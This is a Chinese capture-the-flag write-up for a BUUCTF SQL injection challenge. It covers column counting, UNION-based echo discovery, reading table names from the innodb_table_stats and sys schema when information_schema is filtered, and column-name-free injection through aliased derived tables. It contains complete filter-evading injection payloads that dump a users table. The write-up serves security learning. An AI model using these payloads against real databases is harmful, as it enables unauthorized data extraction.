题目地址:BUUCTF在线评测
目录
1.检查数据库列数
首先使用
-1'/**/group/**/by/**/25,'2
检查数据库列数,小于25
检查到22时发现不报找不到列数了,即该表有22列。
查看回显位置
使用
-1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
这里用select,参数个数必须要和表的列数相同,同时还需要闭合引号。 可以看到,回显的位置时2,3号位置。
2. 查表
2.1 查表名
2.2查表名注入
前提
information_schema
数据库保存着mysql所有其他数据库的信息,包括了数据库名,表名,字段名等,但是如果waf过滤的这个数据库呢。
我们可以通过下面两种方式查找表名
InnoDb引擎
原理
在MYSQL5.6以上的版本中,inndb增加了innodb_index_stats和innodb_table_stats两张表,这两张表中都存储了数据库和其数据表的信息,但是没有存储列名。
使用
select * from mysql.innodb_table_stats;
select GROUP_CONCAT(table_name) from mysql.innodb_table_stats WHERE database_name=DATABASE();
sys数据库
sys数据库 在5.7以上的MYSQL中,新增了sys数据库,该库的基础数据来自information_schema和performance_chema,其本身不存储数据。
可以通过其中的schema_auto_increment_columns来获取表名。
select group_concat(table_name)from sys.schema_auto_increment_columns where table_schema=database();
使用的例子
-1'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/sys.schema_auto_increment_columns/**/where/**/table_schema=schema()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
注:sys库需要root权限才能访问。innodb在mysql中是默认关闭的。
2.3无列名注入
适用条件
information_schema 数据库跟 performance_schema 一样,都是 MySQL 自带的信息数据库。其中 performance_schema 用于性能分析,而 information_schema 用于存储数据库元数据(关于数据的数据),例如数据库名、表名、列的数据类型、访问权限等。
1:information_schema被过滤了
原理
无列名注入,顾名思义,就是不需要列名就能注出数据的注入。
如果你知道了表名,但是你查不到列名的话,可以使用这个方法去进行绕过。
无列名注入的原理其实跟给列赋别名有点相似,就是在取别名的同时查询数据。
正常查看列中元素
通过表中的列名去查看的。
无列名注入例子
现在假装我们不知道列名。(¬ω¬。)
1:先定一个虚拟表,列名为1,2,3。
注: 进行查询时语句的字段数必须和指定表中的字段数一样,不能多也不能少,不然就会报错
SQL SELECT * 实例
现在我们希望从 "Persons" 表中选取所有的列。
请使用符号 * 取代列的名称,就像这样:
SELECT * FROM one
提示:星号(*)是选取所有列的快捷方式。
2:通过无列名查询构造一个虚拟表,在构造此表的同时查询其中的数据。
像这样就可以查询第二列的数据,在虚拟表中,列名都是1,2,3,所以我们在查询语句中要用 \2\
而不能直接用 2 。末尾的 n 是用来命名的,也可以是其他字符。
也可以用下面的形式
As 实例: 使用一个列名别名
表 Persons:
Id | LastName | FirstName | Address | City |
---|---|---|---|---|
1 | Adams | John | Oxford Street | London |
2 | Bush | George | Fifth Avenue | New York |
3 | Carter | Thomas | Changan Street | Beijing |
SQL:
SELECT LastName AS Family, FirstName AS Name
FROM Persons
结果:
Family | Name |
---|---|
Adams | John |
Bush | George |
Carter | Thomas |
将1,2,3取别名
SELECT b from (SELECT 1 as a,2 as b,3 as c union SELECT * from one)a;
等价于
SELECT `2` from (SELECT 1,2,3 union SELECT * FROM one)a;
用group_concat整合
SELECT GROUP_CONCAT(`2`) from (SELECT 1,2,3 union SELECT * FROM one)a;
等价于
SELECT GROUP_CONCAT(b) from (SELECT 1,2 as b,3 union SELECT * FROM one)a;
可以和join打配合。
下面简单举一下例子
union all select*from (select * from users as a join users as b using(id,username))as
union all select * from (select * from users as a join users as b)as
爆出第一列
爆出第二列。
3.实战
首先查表名
-1'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/database_name=database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
查询表内容
-1'/**/union/**/select/**/1,(select/**/group_concat(b)/**/from/**/【(select/**/1,2/**/as/**/b,3/**/union/**/select/**/*/**/from/**/users)】a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
这里我为了方便看,加了粗体方括号。方括号内的是临时表的内容。 这里因为回显出来的位数是2,3,我直接查看的第二列,内容如下。
查看第三列
-1'/**/union/**/select/**/1,(select/**/group_concat(b)/**/from/**/(select/**/1,2,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
拿到flag!!!